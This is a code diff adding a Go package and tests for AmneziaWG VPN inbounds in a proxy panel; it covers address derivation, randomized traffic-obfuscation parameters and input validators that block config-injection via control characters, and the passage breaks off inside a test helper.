+// pure functions that derive an Instance from a stored inbound row. It no
+// longer manages any OS-level interface itself: that was the kernel-module
+// (DKMS) + awg-quick + TPROXY architecture this fork shipped originally,
+// retired in favor of an embedded, pure-Go one (amneziawg-go over a gVisor
+// netstack, see internal/amneziawgnet) in a hard cutover. This package's
+// remaining code is deliberately protocol-shape-only, with no OS dependency
+// at all, so both the (now-removed) kernel-module path and the embedded
+// path could read -- and, historically, did read -- it identically.
+package amneziawg
+
+import (
+	"encoding/json"
+	"fmt"
+	"net/netip"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+// InstanceFromInbound derives a desired Instance from an AmneziaWG inbound,
+// building one peer per active client. Returns false when the inbound is not
+// a usable AmneziaWG inbound (wrong protocol, unparseable settings, or no
+// server block) or has no enabled peer to serve — mirroring
+// mtproto.InstanceFromInbound, which skips the sidecar entirely rather than
+// run it with nothing to serve.
+func InstanceFromInbound(ib *model.Inbound) (Instance, bool) {
+	if ib == nil || ib.Protocol != model.AmneziaWG {
+		return Instance{}, false
+	}
+	var parsed InboundSettings
+	if err := json.Unmarshal([]byte(ib.Settings), &parsed); err != nil || parsed.Server == nil {
+		return Instance{}, false
+	}
+	server := parsed.Server
+
+	peers := make([]Peer, 0, len(parsed.Clients))
+	for _, c := range parsed.Clients {
+		if !c.Enable || c.PublicKey == "" || len(c.AllowedIPs) == 0 {
+			continue
+		}
+		peers = append(peers, Peer{
+			Email:          c.Email,
+			PublicKey:      c.PublicKey,
+			PresharedKey:   c.PreSharedKey,
+			AllowedIPs:     c.AllowedIPs,
+			ForwardedPorts: c.ForwardedPorts,
+		})
+	}
+	if len(peers) == 0 {
+		return Instance{}, false
+	}
+
+	addresses := []string{serverAddress(server.SubnetIP, server.SubnetCIDR)}
+	if server.IPv6Enabled {
+		if v6, ok := serverAddressV6(server.IPv6Subnet); ok {
+			addresses = append(addresses, v6)
+		}
+	}
+
+	return Instance{
+		Id:                    ib.Id,
+		Tag:                   ib.Tag,
+		InterfaceName:         interfaceNameForID(ib.Id),
+		ListenPort:            ib.Port,
+		PrivateKey:            server.PrivateKey,
+		PublicKey:             server.PublicKey,
+		Address:               addresses,
+		MTU:                   server.MTU,
+		Obfuscation:           server.Obfuscation(),
+		Peers:                 peers,
+		ExternalInterface:     server.ExternalInterface,
+		IPv6Enabled:           server.IPv6Enabled,
+		IPv6ExternalInterface: server.IPv6ExternalInterface,
+		RouteThroughXray:      server.RouteThroughXray,
+	}, true
+}
+
+// interfaceNameForID derives the OS-level interface name for an inbound, e.g.
+// "awg42". Kept even though the embedded path has no real kernel interface
+// of its own: internal/amneziawgnet still uses the same name as a purely
+// cosmetic/log-friendly label, so an existing peer's identity/history
+// doesn't shift across the cutover.
+func interfaceNameForID(id int) string {
+	return fmt.Sprintf("awg%d", id)
+}
+
+// serverAddress returns the server's own tunnel address for a subnet base,
+// e.g. "10.8.1.1/24" for base "10.8.1.0" or "10.8.1.5". The server always
+// holds the first usable host of the network subnetIP/cidr actually
+// describes -- derived via netip rather than assuming subnetIP already ends
+// in ".0", so a subnetIP that isn't a bare network address (a typo, or a
+// manually edited value) can never collide with peer addresses, which are
+// allocated starting from the network's second host upward (see
+// allocateWireguardAddress). Falls back to the previous literal behavior
+// only if subnetIP/cidr doesn't parse as an IPv4 network at all -- normal
+// saves never reach that path since ValidateSubnetIPv4 already rejects it.
+func serverAddress(subnetIP string, cidr int) string {
+	if cidr <= 0 {
+		cidr = 24
+	}
+	// A /32 has no host bits at all -- "first usable host" is meaningless,
+	// and Next() would step outside the block entirely -- so a single-host
+	// base is used exactly as given, same as before this fix.
+	prefix, err := netip.ParsePrefix(fmt.Sprintf("%s/%d", subnetIP, cidr))
+	if err != nil || !prefix.Addr().Is4() || cidr >= 32 {
+		return fmt.Sprintf("%s/%d", subnetIP, cidr)
+	}
+	host := prefix.Masked().Addr().Next()
+	return fmt.Sprintf("%s/%d", host, cidr)
+}
+
+// serverAddressV6 returns the server's own IPv6 tunnel address for a subnet
+// CIDR (e.g. "fd86:ea04:1115::1/64" for "fd86:ea04:1115::/64"), the first
+// usable host in the prefix. ok is false when subnetCIDR is empty or not a
+// valid IPv6 prefix.
+func serverAddressV6(subnetCIDR string) (addr string, ok bool) {
+	prefix, err := netip.ParsePrefix(subnetCIDR)
+	if err != nil || !prefix.Addr().Is6() {
+		return "", false
+	}
+	host := prefix.Masked().Addr().Next()
+	return fmt.Sprintf("%s/%d", host, prefix.Bits()), true
+}
+
+// FirstIPv4 returns the first IPv4 address (mask stripped) among allowedIPs,
+// or "" if none — used to derive a peer's tunnel IPv4 address.
+func FirstIPv4(allowedIPs []string) string {
+	for _, a := range allowedIPs {
+		if prefix, err := netip.ParsePrefix(a); err == nil {
+			if prefix.Addr().Is4() {
+				return prefix.Addr().String()
+			}
+			continue
+		}
+		if addr, err := netip.ParseAddr(a); err == nil && addr.Is4() {
+			return addr.String()
+		}
+	}
+	return ""
+}
+
+// FirstIPv6 returns the first IPv6 address (mask stripped) among allowedIPs,
+// or "" if none — the IPv6 counterpart of FirstIPv4, used by
+// internal/amneziawgnet's IPv6-address-alias mechanism to find which
+// address, if any, a peer wants aliased onto the host, and by
+// internal/web/service/xray.go's injectAmneziawgV6Egress to build that
+// peer's own freedom outbound (sendThrough). Only the first match is
+// returned, exactly like FirstIPv4 — more than one IPv6 AllowedIPs entry
+// per peer is not a supported configuration for either feature.
+func FirstIPv6(allowedIPs []string) string {
+	for _, a := range allowedIPs {
+		if prefix, err := netip.ParsePrefix(a); err == nil {
+			if prefix.Addr().Is6() && !prefix.Addr().Is4In6() {
+				return prefix.Addr().String()
+			}
+			continue
+		}
+		if addr, err := netip.ParseAddr(a); err == nil && addr.Is6() && !addr.Is4In6() {
+			return addr.String()
+		}
+	}
+	return ""
+}

+ 187 - 0
internal/amneziawg/instance_test.go

@@ -0,0 +1,187 @@
+package amneziawg
+
+import (
+	"encoding/json"
+	"testing"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+func mkInboundSettings(t *testing.T, server *ServerSettings, clients []model.Client) string {
+	t.Helper()
+	bs, err := json.Marshal(InboundSettings{Server: server, Clients: clients})
+	if err != nil {
+		t.Fatalf("marshal settings: %v", err)
+	}
+	return string(bs)
+}
+
+func validServer() *ServerSettings {
+	return &ServerSettings{
+		PrivateKey: "serverPriv",
+		PublicKey:  "serverPub",
+		SubnetIP:   "10.8.1.0",
+		SubnetCIDR: 24,
+	}
+}
+
+func TestInstanceFromInboundParsesEnabledPeers(t *testing.T) {
+	settings := mkInboundSettings(t, validServer(), []model.Client{
+		{Email: "a@x", Enable: true, PublicKey: "pubA", PreSharedKey: "pskA", AllowedIPs: []string{"10.8.1.2/32"}},
+		{Email: "b@x", Enable: false, PublicKey: "pubB", AllowedIPs: []string{"10.8.1.3/32"}},
+		{Email: "c@x", Enable: true, PublicKey: "", AllowedIPs: []string{"10.8.1.4/32"}}, // no key: skipped
+		{Email: "d@x", Enable: true, PublicKey: "pubD", AllowedIPs: nil},                 // no address: skipped
+	})
+	ib := &model.Inbound{Id: 7, Tag: "awg-tag", Protocol: model.AmneziaWG, Port: 51820, Settings: settings}
+
+	inst, ok := InstanceFromInbound(ib)
+	if !ok {
+		t.Fatal("expected a usable instance")
+	}
+	if inst.Id != 7 || inst.Tag != "awg-tag" || inst.ListenPort != 51820 {
+		t.Fatalf("instance identity not carried over: %+v", inst)
+	}
+	if inst.InterfaceName != "awg7" {
+		t.Fatalf("InterfaceName = %q, want awg7", inst.InterfaceName)
+	}
+	if len(inst.Address) != 1 || inst.Address[0] != "10.8.1.1/24" {
+		t.Fatalf("Address = %v, want [10.8.1.1/24]", inst.Address)
+	}
+	if len(inst.Peers) != 1 {
+		t.Fatalf("Peers = %+v, want exactly 1 (only a@x qualifies)", inst.Peers)
+	}
+	p := inst.Peers[0]
+	if p.Email != "a@x" || p.PublicKey != "pubA" || p.PresharedKey != "pskA" || len(p.AllowedIPs) != 1 || p.AllowedIPs[0] != "10.8.1.2/32" {
+		t.Fatalf("peer mismatch: %+v", p)
+	}
+}
+
+func TestInstanceFromInboundCopiesAWG30Fields(t *testing.T) {
+	server := validServer()
+	server.S1, server.S2, server.S3, server.S4 = 20, 20, 20, 20
+	server.HeaderProtectionKey = "some-header-protection-key"
+	server.ContentPaddingAddition = "50-100"
+	settings := mkInboundSettings(t, server, []model.Client{
+		{Email: "a@x", Enable: true, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
+	})
+	ib := &model.Inbound{Id: 7, Protocol: model.AmneziaWG, Port: 51820, Settings: settings}
+
+	inst, ok := InstanceFromInbound(ib)
+	if !ok {
+		t.Fatal("expected a usable instance")
+	}
+	if inst.Obfuscation.HeaderProtectionKey != "some-header-protection-key" {
+		t.Fatalf("HeaderProtectionKey = %q, want it copied from ServerSettings", inst.Obfuscation.HeaderProtectionKey)
+	}
+	if inst.Obfuscation.ContentPaddingAddition != "50-100" {
+		t.Fatalf("ContentPaddingAddition = %q, want it copied from ServerSettings", inst.Obfuscation.ContentPaddingAddition)
+	}
+}
+
+func TestInstanceFromInboundRejectsWrongProtocol(t *testing.T) {
+	settings := mkInboundSettings(t, validServer(), []model.Client{
+		{Email: "a@x", Enable: true, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
+	})
+	ib := &model.Inbound{Id: 1, Protocol: model.VLESS, Settings: settings}
+	if _, ok := InstanceFromInbound(ib); ok {
+		t.Fatal("non-AmneziaWG inbound must be rejected")
+	}
+}
+
+func TestInstanceFromInboundRejectsNil(t *testing.T) {
+	if _, ok := InstanceFromInbound(nil); ok {
+		t.Fatal("nil inbound must be rejected")
+	}
+}
+
+func TestInstanceFromInboundRejectsMissingServer(t *testing.T) {
+	ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: `{"clients":[]}`}
+	if _, ok := InstanceFromInbound(ib); ok {
+		t.Fatal("settings with no server block must be rejected")
+	}
+}
+
+func TestInstanceFromInboundRejectsUnparseableSettings(t *testing.T) {
+	ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: `not json`}
+	if _, ok := InstanceFromInbound(ib); ok {
+		t.Fatal("unparseable settings must be rejected")
+	}
+}
+
+func TestInstanceFromInboundEmptyWhenNoEnabledPeers(t *testing.T) {
+	settings := mkInboundSettings(t, validServer(), []model.Client{
+		{Email: "a@x", Enable: false, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
+	})
+	ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: settings}
+	if _, ok := InstanceFromInbound(ib); ok {
+		t.Fatal("an inbound with zero enabled peers must be skipped, like mtproto.InstanceFromInbound")
+	}
+}
+
+func TestServerAddress(t *testing.T) {
+	cases := []struct {
+		subnet string
+		cidr   int
+		want   string
+	}{
+		{"10.8.1.0", 24, "10.8.1.1/24"},
+		{"10.8.1.0", 0, "10.8.1.1/24"},  // cidr <= 0 defaults to /24
+		{"10.8.1.5", 24, "10.8.1.1/24"}, // non-network base: must not collide with peer allocation starting at .2
+		{"10.8.1.254", 24, "10.8.1.1/24"},
+		{"192.168.5.10", 32, "192.168.5.10/32"}, // /32 has no host bits: used as-is
+	}
+	for _, c := range cases {
+		if got := serverAddress(c.subnet, c.cidr); got != c.want {
+			t.Errorf("serverAddress(%q, %d) = %q, want %q", c.subnet, c.cidr, got, c.want)
+		}
+	}
+}
+
+func TestInterfaceNameForID(t *testing.T) {
+	if got := interfaceNameForID(42); got != "awg42" {
+		t.Errorf("interfaceNameForID(42) = %q, want awg42", got)
+	}
+}
+
+func TestFirstIPv4(t *testing.T) {
+	cases := []struct {
+		name string
+		ips  []string
+		want string
+	}{
+		{"single v4 CIDR", []string{"10.8.1.2/32"}, "10.8.1.2"},
+		{"bare v4 address, no mask", []string{"10.8.1.2"}, "10.8.1.2"},
+		{"v6 first, v4 second", []string{"fd86:ea04:1115::2/128", "10.8.1.2/32"}, "10.8.1.2"},
+		{"v4-only among several", []string{"10.8.1.2/32", "10.8.1.3/32"}, "10.8.1.2"},
+		{"v6 only", []string{"fd86:ea04:1115::2/128"}, ""},
+		{"empty input", nil, ""},
+		{"unparseable entries skipped", []string{"not-an-ip", "10.8.1.2/32"}, "10.8.1.2"},
+	}
+	for _, c := range cases {
+		if got := FirstIPv4(c.ips); got != c.want {
+			t.Errorf("%s: FirstIPv4(%v) = %q, want %q", c.name, c.ips, got, c.want)
+		}
+	}
+}
+
+func TestFirstIPv6(t *testing.T) {
+	cases := []struct {
+		name string
+		ips  []string
+		want string
+	}{
+		{"single v6 CIDR", []string{"fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
+		{"bare v6 address, no mask", []string{"fd86:ea04:1115::2"}, "fd86:ea04:1115::2"},
+		{"v4 first, v6 second", []string{"10.8.1.2/32", "fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
+		{"only first of two v6 entries returned", []string{"fd86:ea04:1115::2/128", "fd86:ea04:1115::3/128"}, "fd86:ea04:1115::2"},
+		{"v4 only", []string{"10.8.1.2/32"}, ""},
+		{"empty input", nil, ""},
+		{"unparseable entries skipped", []string{"not-an-ip", "fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
+		{"v4-mapped v6 is not a real v6 identity", []string{"::ffff:10.8.1.2/128"}, ""},
+	}
+	for _, c := range cases {
+		if got := FirstIPv6(c.ips); got != c.want {
+			t.Errorf("%s: FirstIPv6(%v) = %q, want %q", c.name, c.ips, got, c.want)
+		}
+	}
+}

+ 337 - 0
internal/amneziawg/params.go

@@ -0,0 +1,337 @@
+package amneziawg
+
+import (
+	"crypto/rand"
+	"encoding/base64"
+	"fmt"
+	"math/big"
+	"net/netip"
+	"regexp"
+	"strconv"
+	"strings"
+)
+
+// awgHMax caps generated H values at 2^31-1: the spec allows the full uint32,
+// but the amneziawg-windows-client config editor rejects anything above.
+const awgHMax = 2147483647
+
+// hMinWidth is the minimum width of each generated H1-H4 range.
+const hMinWidth = 1000
+
+// hMaxValid is the largest value ValidateObfuscation accepts for an H
+// parameter: uint32 max, the kernel's own limit.
+const hMaxValid int64 = 4294967295
+
+// randInt returns a uniform random int in [min, max] using crypto/rand. Falls
+// back to min on the (practically impossible) RNG error.
+func randInt(min, max int) int {
+	if max <= min {
+		return min
+	}
+	n, err := rand.Int(rand.Reader, big.NewInt(int64(max-min)+1))
+	if err != nil {
+		return min
+	}
+	return min + int(n.Int64())
+}
+
+// GenerateObfuscation31 produces a randomized AmneziaWG 3.1 parameter set: a
+// static value gets profiled by DPI, defeating the point.
+func GenerateObfuscation31() Obfuscation31 {
+	var o Obfuscation31
+
+	o.Jc = randInt(3, 6)
+	o.Jmin = randInt(40, 89)
+	o.Jmax = o.Jmin + randInt(50, 250)
+
+	o.S1 = randInt(15, 150)
+	o.S2 = randInt(15, 150)
+	// Kernel constraint: S1+56 != S2, else init and response handshake
+	// packets end up the same size after padding.
+	for o.S1+56 == o.S2 {
+		o.S2 = randInt(15, 150)
+	}
+	// Floored at 12: HeaderProtectionKey is always generated below, and IpcSet
+	// rejects header protection unless every S1-S4 is >= 12.
+	o.S3 = randInt(12, 55) // cookie padding (max 64)
+	o.S4 = randInt(12, 27) // transport padding (max 32)
+
+	h := generateHRanges()
+	o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
+
+	// CPS signature packet, N random bytes before each handshake. I2-I5 stay
+	// empty, matching Amnezia's own generator.
+	o.I1 = fmt.Sprintf("<r %d>", randInt(32, 256))
+
+	o.HeaderProtectionKey = generateHeaderProtectionKey()
+
+	// Total padding stays <= 64: it rides on full-size transport packets, the
+	// same MTU headroom that caps S4 at 32.
+	cpLo := randInt(8, 24)
+	o.ContentPaddingAddition = fmt.Sprintf("%d-%d", cpLo, cpLo+randInt(8, 40))
+
+	// Timing windows bracket WireGuard's own constants (rekey 120s, reject
+	// 180s) so sessions still renew before expiry.
+	rkLo := randInt(100, 120)
+	rkHi := rkLo + randInt(10, 40)
+	o.RekeyAfterTime = fmt.Sprintf("%d-%d", rkLo, rkHi)
+
+	// Every reject value exceeds every rekey value by >= 30s by construction.
+	rjLo := rkHi + randInt(30, 60)
+	o.RejectAfterTime = fmt.Sprintf("%d-%d", rjLo, rjLo+randInt(30, 90))
+
+	rtLo := randInt(3, 6)
+	o.RekeyTimeout = fmt.Sprintf("%d-%d", rtLo, rtLo+randInt(1, 4))
+
+	// Max 20s: under clients' typical 25s PersistentKeepalive and ~30s NAT UDP
+	// timeouts, or idle links lose their NAT mapping.
+	kaLo := randInt(8, 12)
+	o.KeepaliveTimeout = fmt.Sprintf("%d-%d", kaLo, kaLo+randInt(2, 8))
+
+	haLo := randInt(15, 25)
+	o.MaxHandshakeAttempts = fmt.Sprintf("%d-%d", haLo, haLo+randInt(5, 25))
+
+	o.RandomTrailers = true
+	// Cookie replies are DPI-fingerprintable; this stealth default trades away
+	// WG's handshake-flood mitigation and is toggleable per inbound.
+	o.DisableCookies = true
+
+	return o
+}
+
+// generateHeaderProtectionKey returns base64 of 32 crypto/rand bytes, the
+// format amneziawg-tools' HeaderProtectionKey parser expects.
+func generateHeaderProtectionKey() string {
+	key := make([]byte, 32)
+	if _, err := rand.Read(key); err != nil {
+		return ""
+	}
+	return base64.StdEncoding.EncodeToString(key)
+}
+
+// generateHRanges returns four non-overlapping "low-high" ranges for H1-H4,
+// one per band of the space so non-overlap needs no retries. The low bound is
+// >= 5: values 1-4 are reserved for vanilla WireGuard message types.
+func generateHRanges() [4]string {
+	const lo = 5
+	bandSize := (awgHMax - lo + 1) / 4
+	var out [4]string
+	for i := 0; i < 4; i++ {
+		bandLo := lo + i*bandSize
+		bandHi := bandLo + bandSize - 1
+		start := randInt(bandLo, bandHi-hMinWidth-1)
+		end := randInt(start+hMinWidth, bandHi-1)
+		out[i] = fmt.Sprintf("%d-%d", start, end)
+	}
+	return out
+}
+
+// ValidateObfuscation rejects malformed parameters before they are saved, so
+// a bad manual entry can't break the embedded amneziawg-go device's own
+// UAPI config apply (internal/amneziawgnet's buildUAPIConfig/IpcSet) or
+// produce a client config the official app rejects outright. Blank H values
+// are allowed (they fall back to a default); each accepts an integer or a
+// "100-800" range.
+func ValidateObfuscation(o Obfuscation31) error {
+	if o.Jmin > o.Jmax {
+		return fmt.Errorf("invalid Jmin/Jmax: %d must not exceed %d", o.Jmin, o.Jmax)
+	}
+	if o.S3 < 0 || o.S3 > 64 {
+		return fmt.Errorf("invalid S3 value %d (must be 0..64)", o.S3)
+	}
+	if o.S4 < 0 || o.S4 > 32 {
+		return fmt.Errorf("invalid S4 value %d (must be 0..32)", o.S4)
+	}
+	if o.S1+56 == o.S2 {
+		return fmt.Errorf("invalid S1/S2: S1+56 must not equal S2 (%d+56 == %d)", o.S1, o.S2)
+	}
+	for i, h := range []string{o.H1, o.H2, o.H3, o.H4} {
+		if err := validateUintRange(h, 0); err != nil {
+			return fmt.Errorf("invalid H%d: %w", i+1, err)
+		}
+	}
+	if err := validateHeaderProtectionKey(o.HeaderProtectionKey); err != nil {
+		return err
+	}
+	if o.HeaderProtectionKey != "" {
+		for i, s := range []int{o.S1, o.S2, o.S3, o.S4} {
+			if s < 12 {
+				return fmt.Errorf("invalid S%d value %d: header protection requires S1-S4 >= 12", i+1, s)
+			}
+		}
+	}
+	if err := validateUintRange(o.ContentPaddingAddition, 0); err != nil {
+		return fmt.Errorf("invalid contentPaddingAddition: %w", err)
+	}
+	timing := []struct{ field, v string }{
+		{"rekeyAfterTime", o.RekeyAfterTime},
+		{"rekeyTimeout", o.RekeyTimeout},
+		{"rejectAfterTime", o.RejectAfterTime},
+		{"keepaliveTimeout", o.KeepaliveTimeout},
+		{"maxHandshakeAttempts", o.MaxHandshakeAttempts},
+	}
+	for _, tf := range timing {
+		// Zero would disable the timer or retry loop outright, so min is 1.
+		if err := validateUintRange(tf.v, 1); err != nil {
+			return fmt.Errorf("invalid %s: %w", tf.field, err)
+		}
+	}
+	// Sessions must renew before hard expiry, so every possible rekey fires
+	// before the earliest reject. A blank side means WireGuard's own default.
+	if o.RekeyAfterTime != "" || o.RejectAfterTime != "" {
+		rekeyHi, rejectLo := int64(120), int64(180)
+		if o.RekeyAfterTime != "" {
+			_, rekeyHi, _ = parseUintRange(o.RekeyAfterTime)
+		}
+		if o.RejectAfterTime != "" {
+			rejectLo, _, _ = parseUintRange(o.RejectAfterTime)
+		}
+		if rekeyHi >= rejectLo {
+			return fmt.Errorf("invalid rekeyAfterTime/rejectAfterTime: max rekey %d must be below min reject %d", rekeyHi, rejectLo)
+		}
+	}
+	return nil
+}
+
+// CanonicalizeUintRange stores a pasted "110 - 140" as "110-140", and
+// collapses a whitespace-only value back to "feature off".
+func CanonicalizeUintRange(v string) string {
+	return strings.ReplaceAll(strings.TrimSpace(v), " ", "")
+}
+
+// validateHeaderProtectionKey accepts blank (feature off) or a base64 32-byte
+// key. Control chars are rejected up front: DecodeString silently ignores
+// \r\n, so a line-wrapped pasted key would pass and then split client configs.
+func validateHeaderProtectionKey(v string) error {
+	if v == "" {
+		return nil
+	}
+	if err := ValidateConfigValue("headerProtectionKey", v); err != nil {
+		return err
+	}
+	key, err := base64.StdEncoding.DecodeString(v)
+	if err != nil {
+		return fmt.Errorf("invalid headerProtectionKey: not base64: %w", err)
+	}
+	if len(key) != 32 {
+		return fmt.Errorf("invalid headerProtectionKey: got %d bytes, want 32", len(key))
+	}
+	return nil
+}
+
+// ValidateIPv6Subnet rejects a malformed subnet before it's saved. A blank
+// value is only valid when IPv6 itself is disabled.
+func ValidateIPv6Subnet(enabled bool, subnet string) error {
+	if !enabled {
+		return nil
+	}
+	if strings.TrimSpace(subnet) == "" {
+		return fmt.Errorf("ipv6Subnet is required when IPv6 is enabled")
+	}
+	prefix, err := netip.ParsePrefix(subnet)
+	if err != nil {
+		return fmt.Errorf("invalid ipv6Subnet %q: %w", subnet, err)
+	}
+	if !prefix.Addr().Is6() {
+		return fmt.Errorf("invalid ipv6Subnet %q: not an IPv6 prefix", subnet)
+	}
+	return nil
+}
+
+// interfaceNamePattern matches a plausible Linux device name (eth0, br-lan,
+// eno1.100, eth0:0), capped at 15 bytes (IFNAMSIZ-1).
+var interfaceNamePattern = regexp.MustCompile(`^[A-Za-z0-9_.@:-]{1,15}$`)
+
+// ValidateInterfaceName guards the NIC names generateServerConfig interpolates
+// unescaped into a root-executed PostUp/PostDown line. Blank is allowed and
+// means auto-detect (or, for IPv6ExternalInterface, reuse the IPv4 one).
+func ValidateInterfaceName(name string) error {
+	if name == "" {
+		return nil
+	}
+	if !interfaceNamePattern.MatchString(name) {
+		return fmt.Errorf("invalid interface name %q: must be 1-15 characters of letters, digits, '.', '_', '@', ':' or '-'", name)
+	}
+	return nil
+}
+
+// ValidateSubnetIPv4 guards subnetIP, which lands in the MASQUERADE rule the
+// same way ExternalInterface does. subnetCIDR <= 0 means unset, mirroring
+// serverAddress's own default-to-/24 leniency.
+func ValidateSubnetIPv4(subnetIP string, subnetCIDR int) error {
+	cidr := subnetCIDR
+	if cidr <= 0 {
+		cidr = 24
+	}
+	if cidr > 32 {
+		return fmt.Errorf("invalid subnetCidr %d: must be 0..32", subnetCIDR)
+	}
+	prefix, err := netip.ParsePrefix(fmt.Sprintf("%s/%d", subnetIP, cidr))
+	if err != nil {
+		return fmt.Errorf("invalid subnetIp %q: %w", subnetIP, err)
+	}
+	if !prefix.Addr().Is4() {
+		return fmt.Errorf("invalid subnetIp %q: not an IPv4 address", subnetIP)
+	}
+	return nil
+}
+
+// ValidateConfigValue rejects control characters in any value interpolated
+// verbatim into a rendered .conf: a newline re-opens an [Interface] section
+// whose "PostUp = ..." runs as root the moment whoever downloaded that
+// config -- the client app, or an admin importing it into the official
+// awg-quick CLI directly -- applies it. The panel's own server side never
+// runs awg-quick itself (internal/amneziawgnet applies config via
+// amneziawg-go's UAPI, not a parsed text file), but this exact value still
+// reaches a real text-based config downstream. field names the value.
+func ValidateConfigValue(field, v string) error {
+	for _, r := range v {
+		if r == '\n' || r == '\r' || r < 0x20 || r == 0x7f {
+			return fmt.Errorf("invalid %s: control characters are not allowed", field)
+		}
+	}
+	return nil
+}
+
+// validateUintRange checks a uint32-range parameter (H1-H4, the 3.x padding
+// and timing fields): blank, an integer, or "low-high" within the bounds.
+func validateUintRange(v string, minAllowed int64) error {
+	if strings.TrimSpace(v) == "" {
+		return nil
+	}
+	// parseUintRange trims each half, so "110\n-140" would otherwise pass and
+	// then split a rendered config line in two.
+	if err := ValidateConfigValue("range", v); err != nil {
+		return fmt.Errorf("value %q must not contain control characters", v)
+	}
+	lo, hi, ok := parseUintRange(v)
+	if !ok {
+		return fmt.Errorf("value %q must be an integer or a low-high range", v)
+	}
+	if lo < minAllowed || hi > hMaxValid || lo > hi {
+		return fmt.Errorf("range %q must satisfy %d <= low <= high <= %d", v, minAllowed, hMaxValid)
+	}
+	return nil
+}
+
+// parseUintRange parses "N" (lo == hi) or "low-high"; ok is false when blank
+// or non-numeric. Bounds are NOT checked here.
+func parseUintRange(v string) (lo, hi int64, ok bool) {
+	v = strings.TrimSpace(v)
+	if v == "" {
+		return 0, 0, false
+	}
+	if loS, hiS, isRange := strings.Cut(v, "-"); isRange {
+		l, err1 := strconv.ParseInt(strings.TrimSpace(loS), 10, 64)
+		h, err2 := strconv.ParseInt(strings.TrimSpace(hiS), 10, 64)
+		if err1 != nil || err2 != nil {
+			return 0, 0, false
+		}
+		return l, h, true
+	}
+	n, err := strconv.ParseInt(v, 10, 64)
+	if err != nil {
+		return 0, 0, false
+	}
+	return n, n, true
+}

+ 384 - 0
internal/amneziawg/params_test.go

@@ -0,0 +1,384 @@
+package amneziawg
+
+import (
+	"encoding/base64"
+	"strconv"
+	"strings"
+	"testing"
+)
+
+func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
+	for i := 0; i < 200; i++ {
+		o := GenerateObfuscation31()
+		if o.Jc < 3 || o.Jc > 6 {
+			t.Fatalf("Jc = %d, want [3,6]", o.Jc)
+		}
+		if o.Jmin < 40 || o.Jmin > 89 {
+			t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
+		}
+		if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
+			t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
+		}
+		if o.S1 < 15 || o.S1 > 150 {
+			t.Fatalf("S1 = %d, want [15,150]", o.S1)
+		}
+		if o.S2 < 15 || o.S2 > 150 {
+			t.Fatalf("S2 = %d, want [15,150]", o.S2)
+		}
+		if o.S1+56 == o.S2 {
+			t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
+		}
+		if o.S3 < 12 || o.S3 > 55 {
+			t.Fatalf("S3 = %d, want [12,55]", o.S3)
+		}
+		if o.S4 < 12 || o.S4 > 27 {
+			t.Fatalf("S4 = %d, want [12,27]", o.S4)
+		}
+		if o.HeaderProtectionKey != "" {
+			if err := ValidateObfuscation(o); err != nil {
+				t.Fatalf("generated set failed its own validation: %v", err)
+			}
+		}
+		for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
+			if err := validateUintRange(h, 0); err != nil {
+				t.Fatalf("%s = %q invalid: %v", name, h, err)
+			}
+			if h == "" {
+				t.Fatalf("%s is empty, want a generated range", name)
+			}
+		}
+		if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
+			t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
+		}
+		n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
+		if err != nil || n < 32 || n > 256 {
+			t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
+		}
+		for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
+			if v != "" {
+				t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
+			}
+		}
+		key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
+		if err != nil || len(key) != 32 {
+			t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
+		}
+		assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
+		rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
+		if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
+			t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
+		}
+		rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
+		if rjLo < rkHi+30 {
+			t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
+		}
+		assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
+		assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
+		assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
+		if !o.RandomTrailers || !o.DisableCookies {
+			t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
+		}
+	}
+}
+
+// assertRangeWithin parses a "lo-hi" value and fails unless
+// min <= lo <= hi <= max, returning the parsed bounds.
+func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
+	t.Helper()
+	lo, hi, ok := parseUintRange(v)
+	if !ok || !strings.Contains(v, "-") {
+		t.Fatalf("%s = %q, want a lo-hi range", name, v)
+	}
+	if lo < min || hi > max || lo > hi {
